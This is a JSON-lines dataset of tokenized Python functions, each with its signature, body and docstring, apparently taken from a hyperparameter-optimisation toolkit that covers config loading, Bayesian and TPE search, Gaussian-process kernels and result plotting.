{"signature": "def log_operation(entities, operation_name, params=None):", "body": "if isinstance(entities, (list, tuple)):<EOL><INDENT>entities = list(entities)<EOL><DEDENT>else:<EOL><INDENT>entities = [entities]<EOL><DEDENT>p = {'<STR_LIT:name>': operation_name, '<STR_LIT>': entities}<EOL>if params:<EOL><INDENT>p['<STR_LIT>'] = params<EOL><DEDENT>_log(TYPE_CODES.OPERATION, p)<EOL>", "docstring": "Logs an operation done on an entity, possibly with other arguments", "id": "f4461:m2"}
{"signature": "def log_state(entity, state):", "body": "p = {'<STR_LIT>': entity, '<STR_LIT:state>': state}<EOL>_log(TYPE_CODES.STATE, p)<EOL>", "docstring": "Logs a new state of an entity", "id": "f4461:m3"}
{"signature": "def log_update(entity, update):", "body": "p = {'<STR_LIT>': entity, '<STR_LIT>': update}<EOL>_log(TYPE_CODES.UPDATE, p)<EOL>", "docstring": "Logs an update done on an entity", "id": "f4461:m4"}
{"signature": "def log_error(error, result):", "body": "p = {'<STR_LIT:error>': error, '<STR_LIT:result>':result}<EOL>_log(TYPE_CODES.ERROR, p)<EOL>", "docstring": "Logs an error", "id": "f4461:m5"}
{"signature": "def _parser_exit(parser: argparse.ArgumentParser, proc: \"<STR_LIT>\", _=<NUM_LIT:0>,<EOL>message: Optional[str]=None) -> None:", "body": "if message:<EOL><INDENT>parser._print_message(message, sys.stderr)<EOL><DEDENT>proc.successful_parse = False<EOL>", "docstring": "Override the default exit in the parser.\n:param parser:\n:param _: exit code.  Unused because we don't exit\n:param message: Optional message", "id": "f4468:m0"}
{"signature": "def __init__(self, args: Optional[List[str]], description: str, infile_suffix: Optional[str],<EOL>outfile_suffix: Optional[str], addargs: Optional[Callable[[argparse.ArgumentParser], None]]=None,<EOL>postparse: Optional[Callable[[argparse.Namespace], None]]=None,<EOL>noexit: bool=False, fromfile_prefix_chars: Optional[str]=None):", "body": "self.infile_suffix = infile_suffix<EOL>self.outfile_suffix = outfile_suffix<EOL>self.successful_parse = True<EOL>self.fromfile_prefix_chars = fromfile_prefix_chars if fromfile_prefix_chars else \"<STR_LIT>\"<EOL>self.parser = argparse.ArgumentParser(description=description, fromfile_prefix_chars=fromfile_prefix_chars)<EOL>self.parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\", nargs=\"<STR_LIT:*>\")<EOL>self.parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>self.parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\", nargs=\"<STR_LIT:*>\")<EOL>self.parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>self.parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>self.parser.add_argument(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\")<EOL>if addargs is not None:<EOL><INDENT>addargs(self.parser)<EOL><DEDENT>if noexit:<EOL><INDENT>self.parser.exit = lambda *args: _parser_exit(self.parser, self, *args)<EOL><DEDENT>self.opts = self.parser.parse_args(self.decode_file_args(args if args is not None else sys.argv[<NUM_LIT:1>:]))<EOL>if self.successful_parse:<EOL><INDENT>if self.opts.indir and not os.path.isdir(self.opts.indir):<EOL><INDENT>if os.path.exists(self.opts.indir):<EOL><INDENT>self.parser.error(\"<STR_LIT>\".format(self.opts.indir))<EOL><DEDENT>else:<EOL><INDENT>self.parser.error(\"<STR_LIT>\".format(self.opts.indir))<EOL><DEDENT>return<EOL><DEDENT>n_infiles = len(self.opts.infile) if self.opts.infile else <NUM_LIT:0><EOL>n_outfiles = len(self.opts.outfile) if self.opts.outfile else <NUM_LIT:0><EOL>if (n_infiles > <NUM_LIT:1> or n_outfiles > <NUM_LIT:1>) and n_infiles != n_outfiles and n_outfiles > <NUM_LIT:1>:<EOL><INDENT>self.parser.error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if postparse is not None:<EOL><INDENT>postparse(self.opts)<EOL><DEDENT><DEDENT>", "docstring": "Build a directory list processor\n        :param args: Input arguments such as supplied from sys.argv.  None means use sys.argv\n        :param description: Description of the function.  Appears in a help string\n        :param infile_suffix: Suffix filter on input file.  If absent, all files not starting with \".\" pass\n        :param outfile_suffix: Suffix to add to output file.  If absent, name is same as input\n        :param addargs: Function to add arguments before parsing.  Signature: addargs(parser: argparse.ArgumentParser)\n        :param postparse: Function to review arguments post parsing.  Signature: postparse(opts: argparse.Namespace)\n        :param noexit: Do not exit the parser on error. Primarily for testing.  If an exitable error occurs,\n        succesful_parse is set to False\n        :param fromfile_prefix_chars: parser file prefix characters", "id": "f4468:c0:m0"}
{"signature": "def decode_file_args(self, argv: List[str]) -> List[str]:", "body": "for arg in [arg for arg in argv if arg[<NUM_LIT:0>] in self.fromfile_prefix_chars]:<EOL><INDENT>argv.remove(arg)<EOL>with open(arg[<NUM_LIT:1>:]) as config_file:<EOL><INDENT>argv += shlex.split(config_file.read())<EOL>return self.decode_file_args(argv)<EOL><DEDENT><DEDENT>return argv<EOL>", "docstring": "Preprocess any arguments that begin with the fromfile prefix char(s).\nThis replaces the one in Argparse because it\n    a) doesn't process \"-x y\" correctly and\n    b) ignores bad files\n:param argv: raw options list\n:return: options list with file references replaced", "id": "f4468:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _proc_error(ifn: str, e: Exception) -> None:<DEDENT>", "body": "type_, value_, traceback_ = sys.exc_info()<EOL>traceback.print_tb(traceback_, file=sys.stderr)<EOL>print(file=sys.stderr)<EOL>print(\"<STR_LIT>\" % ifn, file=sys.stderr)<EOL>print(str(e), file=sys.stderr)<EOL>", "docstring": "Report an error\n        :param ifn: Input file name\n        :param e: Exception to report", "id": "f4468:c0:m2"}
{"signature": "def _call_proc(self,<EOL>proc: Callable[[Optional[str], Optional[str], argparse.Namespace], bool],<EOL>ifn: Optional[str],<EOL>ofn: Optional[str]) -> bool:", "body": "rslt = False<EOL>try:<EOL><INDENT>rslt = proc(ifn, ofn, self.opts)<EOL><DEDENT>except Exception as e:<EOL><INDENT>self._proc_error(ifn, e)<EOL><DEDENT>return True if rslt or rslt is None else False<EOL>", "docstring": "Call the actual processor and intercept anything that goes wrong\n        :param proc: Process to call\n        :param ifn: Input file name to process.  If absent, typical use is stdin\n        :param ofn: Output file name. If absent, typical use is stdout\n        :return: true means process was successful", "id": "f4468:c0:m3"}
{"signature": "def run(self,<EOL>proc: Callable[[Optional[str], Optional[str], argparse.Namespace], Optional[bool]],<EOL>file_filter: Optional[Callable[[str], bool]]=None,<EOL>file_filter_2: Optional[Callable[[Optional[str], str, argparse.Namespace], bool]]=None)-> Tuple[int, int]:", "body": "nfiles = <NUM_LIT:0><EOL>nsuccess = <NUM_LIT:0><EOL>if self.opts.infile:<EOL><INDENT>for file_idx in range(len(self.opts.infile)):<EOL><INDENT>in_f = self.opts.infile[file_idx]<EOL>if self._check_filter(in_f, self.opts.indir, file_filter, file_filter_2):<EOL><INDENT>fn = os.path.join(self.opts.indir, in_f) if self.opts.indir else in_f<EOL>nfiles += <NUM_LIT:1><EOL>if self._call_proc(proc, fn, self._outfile_name('<STR_LIT>', fn, outfile_idx=file_idx)):<EOL><INDENT>nsuccess += <NUM_LIT:1><EOL><DEDENT>elif self.opts.stoponerror:<EOL><INDENT>return nfiles, nsuccess<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif not self.opts.indir:<EOL><INDENT>if self._check_filter(None, None, file_filter, file_filter_2):<EOL><INDENT>nfiles += <NUM_LIT:1><EOL>if self._call_proc(proc, None, self._outfile_name('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>nsuccess += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for dirpath, _, filenames in os.walk(self.opts.indir):<EOL><INDENT>for fn in filenames:<EOL><INDENT>if self._check_filter(fn, dirpath, file_filter, file_filter_2):<EOL><INDENT>nfiles += <NUM_LIT:1><EOL>if self._call_proc(proc, os.path.join(dirpath, fn), self._outfile_name(dirpath, fn)):<EOL><INDENT>nsuccess += <NUM_LIT:1><EOL><DEDENT>elif self.opts.stoponerror:<EOL><INDENT>return nfiles, nsuccess<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return nfiles, nsuccess<EOL>", "docstring": "Run the directory list processor calling a function per file.\n        :param proc: Process to invoke. Args: input_file_name, output_file_name, argparse options. Return pass or fail.\n                     No return also means pass\n        :param file_filter: Additional filter for testing file names, types, etc.\n        :param file_filter_2: File filter that includes directory, filename and opts\n                        (separate for backwards compatibility)\n        :return: tuple - (number of files passed to proc: int, number of files that passed proc)", "id": "f4468:c0:m5"}
{"signature": "def _outfile_name(self, dirpath: str, infile: str, outfile_idx: int=<NUM_LIT:0>) -> Optional[str]:", "body": "if not self.opts.outfile and not self.opts.outdir:<EOL><INDENT>return None<EOL><DEDENT>if self.opts.outfile:<EOL><INDENT>outfile_element = self.opts.outfile[<NUM_LIT:0>] if len(self.opts.outfile) == <NUM_LIT:1> else self.opts.outfile[outfile_idx]<EOL><DEDENT>elif self.opts.infile:<EOL><INDENT>if '<STR_LIT>' in infile:<EOL><INDENT>outfile_element = \"<STR_LIT>\".format(outfile_idx + <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>outfile_element = os.path.basename(infile).rsplit('<STR_LIT:.>', <NUM_LIT:1>)[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>relpath = dirpath[len(self.opts.indir) + <NUM_LIT:1>:] if not self.opts.flatten and self.opts.indir else '<STR_LIT>'<EOL>outfile_element = os.path.join(relpath, os.path.split(infile)[<NUM_LIT:1>][:-len(self.infile_suffix)])<EOL><DEDENT>return (os.path.join(self.opts.outdir, outfile_element) if self.opts.outdir else outfile_element) +(self.outfile_suffix if not self.opts.outfile and self.outfile_suffix else '<STR_LIT>')<EOL>", "docstring": "Construct the output file name from the input file.  If a single output file was named and there isn't a\n        directory, return the output file.\n        :param dirpath: Directory path to infile\n        :param infile: Name of input file\n        :param outfile_idx: Index into output file list (for multiple input/output files)\n        :return: Full name of output file or None if output is not otherwise supplied", "id": "f4468:c0:m6"}
{"signature": "def _detect_sse3(self):", "body": "self._print_support_start('<STR_LIT>')<EOL>result = self.hasfunction('<STR_LIT>',<EOL>include='<STR_LIT>',<EOL>extra_postargs=['<STR_LIT>'])<EOL>self._print_support_end('<STR_LIT>', result)<EOL>return result<EOL>", "docstring": "Does this compiler support SSE3 intrinsics?", "id": "f4474:c0:m6"}
{"signature": "def _detect_sse41(self):", "body": "self._print_support_start('<STR_LIT>')<EOL>result = self.hasfunction( '<STR_LIT>',<EOL>include='<STR_LIT>',<EOL>extra_postargs=['<STR_LIT>'])<EOL>self._print_support_end('<STR_LIT>', result)<EOL>return result<EOL>", "docstring": "Does this compiler support SSE4.1 intrinsics?", "id": "f4474:c0:m7"}
{"signature": "def _merge_defaults(self, config):", "body": "fn = resource_filename('<STR_LIT>', join('<STR_LIT:data>', '<STR_LIT>'))<EOL>with open(fn) as f:<EOL><INDENT>default = parse(f)<EOL><DEDENT>return reduce(dict_merge, [default, config])<EOL>", "docstring": "The config object loads its values from two sources, with the\n        following precedence:\n\n            1. data/default_config.yaml\n            2. The config file itself, passed in to this object in the\n               constructor as `path`.\n\n        in case of conflict, the config file dominates.", "id": "f4478:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def fromdict(cls, config, check_fields=True):<DEDENT>", "body": "m = super(Config, cls).__new__(cls)<EOL>m.path = '<STR_LIT:.>'<EOL>m.verbose = False<EOL>m.config = m._merge_defaults(config)<EOL>if check_fields:<EOL><INDENT>m._check_fields()<EOL><DEDENT>return m<EOL>", "docstring": "Create a Config object from config dict directly.", "id": "f4478:c0:m3"}
{"signature": "def get_section(self, section):", "body": "return self.config.get(section, {})<EOL>", "docstring": "Sections are top-level entries in the config tree", "id": "f4478:c0:m4"}
{"signature": "def get_value(self, field, default=None):", "body": "section, key = field.split('<STR_LIT:/>')<EOL>return self.get_section(section).get(key, default)<EOL>", "docstring": "Get an entry from within a section, using a '/' delimiter", "id": "f4478:c0:m5"}
{"signature": "def estimator(self):", "body": "module_path = self.get_value('<STR_LIT>')<EOL>if module_path is not None:<EOL><INDENT>with prepend_syspath(dirname(abspath(self.path))):<EOL><INDENT>estimator_module = importlib.import_module(module_path)<EOL><DEDENT>estimator = estimator_module.estimator()<EOL>if not isinstance(estimator, sklearn.base.BaseEstimator):<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return estimator<EOL><DEDENT>evalstring = self.get_value('<STR_LIT>')<EOL>if evalstring is not None:<EOL><INDENT>got = self.get_value('<STR_LIT>')<EOL>if isinstance(got, six.string_types):<EOL><INDENT>got = [got]<EOL><DEDENT>elif isinstance(got, list):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>scope = {}<EOL>for pkg_name in got:<EOL><INDENT>if pkg_name in eval_scopes.__all__:<EOL><INDENT>scope.update(getattr(eval_scopes, pkg_name)())<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>pkg = importlib.import_module(pkg_name)<EOL><DEDENT>except ImportError as e:<EOL><INDENT>raise RuntimeError(str(e))<EOL><DEDENT>scope.update(eval_scopes.import_all_estimators(pkg))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>estimator = eval(evalstring, {}, scope)<EOL>if not isinstance(estimator, sklearn.base.BaseEstimator):<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return estimator<EOL><DEDENT>except:<EOL><INDENT>print('<STR_LIT:->'*<NUM_LIT>, file=sys.stderr)<EOL>print('<STR_LIT>', file=sys.stderr)<EOL>print('<STR_LIT:->'*<NUM_LIT>, file=sys.stderr)<EOL>traceback.print_exc(file=sys.stderr)<EOL>print('<STR_LIT:->'*<NUM_LIT>, file=sys.stderr)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>entry_point = self.get_value('<STR_LIT>')<EOL>if entry_point is not None:<EOL><INDENT>estimator = load_entry_point(entry_point, '<STR_LIT>')<EOL>if issubclass(estimator, sklearn.base.BaseEstimator):<EOL><INDENT>estimator = estimator(<EOL>**self.get_value('<STR_LIT>', default={}))<EOL><DEDENT>if not isinstance(estimator, sklearn.base.BaseEstimator):<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return estimator<EOL><DEDENT>pkl = self.get_value('<STR_LIT>')<EOL>if pkl is not None:<EOL><INDENT>pickl_dir = dirname(abspath(self.path))<EOL>path = join(pickl_dir, pkl)<EOL>if not isfile(path):<EOL><INDENT>raise RuntimeError('<STR_LIT>' % pkl)<EOL><DEDENT>with open(path, '<STR_LIT:rb>') as f:<EOL><INDENT>with prepend_syspath(pickl_dir):<EOL><INDENT>estimator = cPickle.load(f)<EOL><DEDENT>if not isinstance(estimator, sklearn.base.BaseEstimator):<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return estimator<EOL><DEDENT><DEDENT>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "Get the estimator, an instance of a (subclass of)\n        sklearn.base.BaseEstimator\n\n        It can be loaded either from a pickle, from a string using eval(),\n        or from an entry point.\n\n        e.g.\n\n        estimator:\n            # only one of the following can actually be active in a given\n            # config file.\n            pickle: path-to-pickle-file.pkl\n            eval: \"Pipeline([('cluster': KMeans())])\"\n            entry_point: sklearn.linear_model.LogisticRegression\n            module: myestimator", "id": "f4478:c0:m6"}
{"signature": "def sha1(self):", "body": "with open(self.path, '<STR_LIT:rb>') as f:<EOL><INDENT>return hashlib.sha1(f.read()).hexdigest()<EOL><DEDENT>", "docstring": "SHA1 hash of the config file itself.", "id": "f4478:c0:m18"}
{"signature": "def __init__(self, surrogate, acquisition_params, n_dims, n_iter=<NUM_LIT:50>, max_iter=<NUM_LIT>):", "body": "if not minimize:<EOL><INDENT>raise ImportError('<STR_LIT>')<EOL><DEDENT>self.surrogate = surrogate<EOL>self.n_dims = n_dims<EOL>self.n_iter = n_iter<EOL>self.max_iter = max_iter<EOL>self.acquisition_params = acquisition_params<EOL>self._acquisition_function = None<EOL>self._set_acquisition()<EOL>self.incumbent = None<EOL>", "docstring": "Parameters\n----------\nsurrogate : a surrogate function which can has defined on it:\n      - surrogate.predict(X) for predicting the mean and variance of the model at X\n      # TODO make this the mean response, not the max of the data\n      - surrogate.Y.max() for calculating the incumbent\n# TODO make this come from the surrogate, along with what type of parameter each dimension represents\nn_dims : the number of dimensions\n# TODO Decide where to put defaults - at the moment it's in the Bayesian strategy class\nacquisition_params : dictionary of acquisition function options\nn_iter : the optimizer is run this many times with different random seeds - the optimum\n    is chosen from this many candidates.\nmax_iter : the maximum number of iterations used the optimizer (for a single run of the optimizer)", "id": "f4480:c0:m0"}
{"signature": "def get_best_candidate(self):", "body": "<EOL>self.incumbent = self.surrogate.Y.max()<EOL>def z(x):<EOL><INDENT>x = x.copy().reshape(-<NUM_LIT:1>, self.n_dims)<EOL>y_mean, y_var = self.surrogate.predict(x)<EOL>af = self._acquisition_function(y_mean=y_mean, y_var=y_var)<EOL>return (-<NUM_LIT:1>) * af<EOL><DEDENT>af_values = []<EOL>af_args = []<EOL>for i in range(self.n_iter):<EOL><INDENT>init = self._get_random_point()<EOL>res = minimize(z, init, bounds=self.n_dims * [(<NUM_LIT:0.>, <NUM_LIT:1.>)],<EOL>options={'<STR_LIT>': int(self.max_iter), '<STR_LIT>': <NUM_LIT:0>})<EOL>af_args.append(res.x)<EOL>af_values.append(res.fun)<EOL><DEDENT>af_values = np.array(af_values).flatten()<EOL>af_args = np.array(af_args)<EOL>best_index = int(np.argmin(af_values))<EOL>best_candidate = af_args[best_index]<EOL>return best_candidate<EOL>", "docstring": "Returns\n----------\nbest_candidate : the best candidate hyper-parameters as defined by", "id": "f4480:c0:m6"}
{"signature": "def suggest(self, history, searchspace):", "body": "raise NotImplementedError()<EOL>", "docstring": "Parameters\n----------\nhistory : list of 3-tuples\n    History of past function evaluations. Each element in history\n    should be a tuple `(params, score, status)`, where `params` is a\n    dict mapping parameter names to values\nsearchspace : SearchSpace\n    Instance of search_space.SearchSpace\nrandom_state :i nteger or numpy.RandomState, optional\n    The random seed for sampling. If an integer is given, it fixes the\n    seed. Defaults to the global numpy random number generator.\n\nReturns\n-------\nnew_params : dict", "id": "f4481:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def is_repeated_suggestion(params, history):<DEDENT>", "body": "if any(params == hparams and hstatus == '<STR_LIT>'<EOL>for hparams, hscore, hstatus in history):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Parameters\n----------\nparams : dict\n    Trial param set\nhistory : list of 3-tuples\n    History of past function evaluations. Each element in history\n    should be a tuple `(params, score, status)`, where `params` is a\n    dict mapping parameter names to values\n\nReturns\n-------\nis_repeated_suggestion : bool", "id": "f4481:c0:m1"}
{"signature": "def suggest(self, history, searchspace):", "body": "return searchspace.rvs(self.seed)<EOL>", "docstring": "Randomly suggest params from searchspace.", "id": "f4481:c1:m1"}
{"signature": "def suggest(self, history, searchspace):", "body": "<EOL>if '<STR_LIT>' not in sys.modules:<EOL><INDENT>raise ImportError('<STR_LIT>')<EOL><DEDENT>random = check_random_state(self.seed)<EOL>hp_searchspace = searchspace.to_hyperopt()<EOL>trials = Trials()<EOL>for i, (params, scores, status) in enumerate(history):<EOL><INDENT>if status == '<STR_LIT>':<EOL><INDENT>result = {'<STR_LIT>': -np.mean(scores), '<STR_LIT:status>': STATUS_OK}<EOL><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>result = {'<STR_LIT:status>': STATUS_RUNNING}<EOL><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>result = {'<STR_LIT:status>': STATUS_FAIL}<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>' % status)<EOL><DEDENT>vals = {}<EOL>for var in searchspace:<EOL><INDENT>if isinstance(var, EnumVariable):<EOL><INDENT>matches = [<EOL>i for i, c in enumerate(var.choices)<EOL>if c == params[var.name]<EOL>]<EOL>assert len(matches) == <NUM_LIT:1><EOL>vals[var.name] = matches<EOL><DEDENT>else:<EOL><INDENT>vals[var.name] = [params[var.name]]<EOL><DEDENT><DEDENT>trials.insert_trial_doc({<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': ('<STR_LIT>', '<STR_LIT>'),<EOL>'<STR_LIT>': dict((k, [i]) for k in hp_searchspace.keys()),<EOL>'<STR_LIT>': i,<EOL>'<STR_LIT>': vals,<EOL>'<STR_LIT>': None<EOL>},<EOL>'<STR_LIT:result>': result,<EOL>'<STR_LIT>': i,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:state>': <NUM_LIT:2>,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:version>': <NUM_LIT:0><EOL>})<EOL><DEDENT>trials.refresh()<EOL>chosen_params_container = []<EOL>def suggest(*args, **kwargs):<EOL><INDENT>return tpe.suggest(*args,<EOL>**kwargs,<EOL>gamma=self.gamma,<EOL>n_startup_jobs=self.seeds)<EOL><DEDENT>def mock_fn(x):<EOL><INDENT>chosen_params_container.append(x)<EOL>return <NUM_LIT:0><EOL><DEDENT>fmin(fn=mock_fn,<EOL>algo=tpe.suggest,<EOL>space=hp_searchspace,<EOL>trials=trials,<EOL>max_evals=len(trials.trials) + <NUM_LIT:1>,<EOL>**self._hyperopt_fmin_random_kwarg(random))<EOL>chosen_params = chosen_params_container[<NUM_LIT:0>]<EOL>return chosen_params<EOL>", "docstring": "Suggest params to maximize an objective function based on the\nfunction evaluation history using a tree of Parzen estimators (TPE),\nas implemented in the hyperopt package.\n\nUse of this function requires that hyperopt be installed.", "id": "f4481:c2:m1"}
{"signature": "def fit(self):", "body": "self.model.optimize_restarts(num_restarts=self.num_restarts, verbose=False)<EOL>", "docstring": "Fits the model with random restarts.\n:return:", "id": "f4482:c0:m1"}
{"signature": "def __init__(self, kernel_params, n_dims):", "body": "self.kernel_params = kernel_params<EOL>self.kernel = None  <EOL>self.n_dims = n_dims<EOL>self._create_kernel()<EOL>", "docstring": "Kernels for the Gaussian Process surrogates\n:param kernel_params: the param list from yaml.", "id": "f4482:c1:m0"}
{"signature": "def _create_kernel(self):", "body": "<EOL>kernels = self.kernel_params<EOL>if not isinstance(kernels, list):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>for kernel in kernels:<EOL><INDENT>if sorted(list(kernel.keys())) != ['<STR_LIT:name>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>kernels = []<EOL>for kern in self.kernel_params:<EOL><INDENT>params = kern['<STR_LIT>']<EOL>options = kern['<STR_LIT>']<EOL>name = kern['<STR_LIT:name>']<EOL>kernel_ep = load_entry_point(name, '<STR_LIT>')<EOL>if issubclass(kernel_ep, KERNEL_BASE_CLASS):<EOL><INDENT>if options['<STR_LIT>']:<EOL><INDENT>kernel = np.sum([kernel_ep(<NUM_LIT:1>, active_dims=[i], **params) for i in range(self.n_dims)])<EOL><DEDENT>else:<EOL><INDENT>kernel = kernel_ep(self.n_dims, **params)<EOL><DEDENT><DEDENT>if not isinstance(kernel, KERNEL_BASE_CLASS):<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>kernels.append(kernel)<EOL><DEDENT>self.kernel = np.sum(kernels)<EOL>", "docstring": "creates an additive kernel", "id": "f4482:c1:m1"}
{"signature": "def plot_1(data, *args):", "body": "df_all = pd.DataFrame(data)<EOL>df_params = nonconstant_parameters(data)<EOL>return build_scatter_tooltip(<EOL>x=df_all['<STR_LIT:id>'], y=df_all['<STR_LIT>'], tt=df_params,<EOL>title='<STR_LIT>')<EOL>", "docstring": "Plot 1. All iterations (scatter plot)", "id": "f4494:m2"}
{"signature": "def plot_2(data, *args):", "body": "df_all = pd.DataFrame(data)<EOL>df_params = nonconstant_parameters(data)<EOL>x = [df_all['<STR_LIT:id>'][<NUM_LIT:0>]]<EOL>y = [df_all['<STR_LIT>'][<NUM_LIT:0>]]<EOL>params = [df_params.loc[<NUM_LIT:0>]]<EOL>for i in range(len(df_all)):<EOL><INDENT>if df_all['<STR_LIT>'][i] > y[-<NUM_LIT:1>]:<EOL><INDENT>x.append(df_all['<STR_LIT:id>'][i])<EOL>y.append(df_all['<STR_LIT>'][i])<EOL>params.append(df_params.loc[i])<EOL><DEDENT><DEDENT>return build_scatter_tooltip(<EOL>x=x, y=y, tt=pd.DataFrame(params), title='<STR_LIT>')<EOL>", "docstring": "Plot 2. Running best score (scatter plot)", "id": "f4494:m3"}
{"signature": "def plot_3(data, ss, *args):", "body": "if len(data) <= <NUM_LIT:1>:<EOL><INDENT>warnings.warn(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>scores = np.array([d['<STR_LIT>'] for d in data])<EOL>warped = np.array([ss.point_to_unit(d['<STR_LIT>']) for d in data])<EOL>X = TSNE(n_components=<NUM_LIT:2>).fit_transform(warped)<EOL>e_scores = np.exp(scores)<EOL>mine, maxe = np.min(e_scores), np.max(e_scores)<EOL>color = (e_scores - mine) / (maxe - mine)<EOL>mapped_colors = list(map(rgb2hex, cm.get_cmap('<STR_LIT>')(color)))<EOL>p = bk.figure(title='<STR_LIT>', tools=TOOLS)<EOL>df_params = nonconstant_parameters(data)<EOL>df_params['<STR_LIT>'] = scores<EOL>df_params['<STR_LIT:x>'] = X[:, <NUM_LIT:0>]<EOL>df_params['<STR_LIT:y>'] = X[:, <NUM_LIT:1>]<EOL>df_params['<STR_LIT>'] = mapped_colors<EOL>df_params['<STR_LIT>'] = <NUM_LIT:1><EOL>p.circle(<EOL>x='<STR_LIT:x>', y='<STR_LIT:y>', color='<STR_LIT>', radius='<STR_LIT>',<EOL>source=ColumnDataSource(data=df_params), fill_alpha=<NUM_LIT>,<EOL>line_color=None)<EOL>cp = p<EOL>hover = cp.select(dict(type=HoverTool))<EOL>format_tt = [(s, '<STR_LIT>' % s) for s in df_params.columns]<EOL>hover.tooltips = OrderedDict([(\"<STR_LIT:index>\", \"<STR_LIT>\")] + format_tt)<EOL>xax, yax = p.axis<EOL>xax.axis_label = '<STR_LIT>'<EOL>yax.axis_label = '<STR_LIT>'<EOL>return p<EOL>", "docstring": "t-SNE embedding of the parameters, colored by score", "id": "f4494:m4"}
{"signature": "def plot_4(data, *args):", "body": "params = nonconstant_parameters(data)<EOL>scores = np.array([d['<STR_LIT>'] for d in data])<EOL>order = np.argsort(scores)<EOL>for key in params.keys():<EOL><INDENT>if params[key].dtype == np.dtype('<STR_LIT:bool>'):<EOL><INDENT>params[key] = params[key].astype(np.int)<EOL><DEDENT><DEDENT>p_list = []<EOL>for key in params.keys():<EOL><INDENT>x = params[key][order]<EOL>y = scores[order]<EOL>params = params.loc[order]<EOL>try:<EOL><INDENT>radius = (np.max(x) - np.min(x)) / <NUM_LIT><EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\" % key)<EOL>continue<EOL><DEDENT>p_list.append(build_scatter_tooltip(<EOL>x=x, y=y, radius=radius, add_line=False, tt=params,<EOL>xlabel=key, title='<STR_LIT>' % key))<EOL><DEDENT>return p_list<EOL>", "docstring": "Scatter plot of score vs each param", "id": "f4494:m5"}
{"signature": "def init_subclass_by_name(baseclass, short_name, params):", "body": "sc = baseclass.__subclasses__()<EOL>for kls in sc:<EOL><INDENT>if kls.short_name == short_name or(_is_collection(kls.short_name) and short_name in kls.short_name):<EOL><INDENT>try:<EOL><INDENT>return kls(**params)<EOL><DEDENT>except TypeError as e:<EOL><INDENT>spec = inspect.getargspec(kls.__init__)<EOL>if '<STR_LIT>' in str(e):<EOL><INDENT>avail = join_quoted(spec.args[<NUM_LIT:1>:])<EOL>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>% (short_name, str(e), avail))<EOL><DEDENT>elif '<STR_LIT>' in str(e):<EOL><INDENT>required = join_quoted(spec.args[<NUM_LIT:1>:-len(spec.defaults)])<EOL>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>% (short_name, str(e), required))<EOL><DEDENT>elif '<STR_LIT>' in str(e):<EOL><INDENT>required = join_quoted(spec.args[<NUM_LIT:1>:-len(spec.defaults)])<EOL>optional = join_quoted(spec.args[-len(spec.defaults):])<EOL>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>short_name, str(e), required, optional))<EOL><DEDENT>raise<EOL><DEDENT><DEDENT><DEDENT>chain = itertools.chain.from_iterable(<EOL>e.short_name if _is_collection(e.short_name) else [e.short_name]<EOL>for e in sc)<EOL>avail_names = '<STR_LIT:U+002CU+0020>'.join(str(n) for n in chain)<EOL>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % (short_name, avail_names))<EOL>", "docstring": "Find the subclass, `kls` of baseclass with class attribute `short_name`\nthat matches the supplied `short_name`, and then instantiate and return\nthat class with:\n\n    return kls(**params)\n\nThis function also tries its best to catch any possible TypeErrors due\nto binding of the arguments, and rethrows them as nicely formatted\nRuntimeErrors that are suitable for showing to users.", "id": "f4495:m0"}
